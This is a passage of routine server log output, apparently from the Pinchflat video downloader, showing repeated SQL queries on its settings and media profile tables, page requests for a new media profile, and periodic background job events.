s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:11.190 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=309.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:11.193 [info] Sent 200 in 6ms 08:34:38.861 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.612 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:08.863 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:13.985 [info] GET /media_profiles/new 08:35:13.985 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 08:35:13.986 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1303.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.988 [info] GET /media_profiles/new 08:35:13.988 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1304.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.988 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 08:35:13.988 [debug] QUERY OK source="settings" db=0.3ms idle=1304.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.989 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1305.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:35:13.990 [debug] QUERY OK source="settings" db=0.5ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.990 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=554.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.990 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.991 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.991 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.992 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.993 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:35:13.994 [info] Sent 200 in 8ms 08:35:13.996 [info] Sent 200 in 8ms 08:35:38.865 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.613 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:08.867 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:38.869 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.614 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:08.871 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:38.873 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.615 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:08.875 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:38.877 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.616 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:08.879 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:38.881 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.617 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:08.883 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}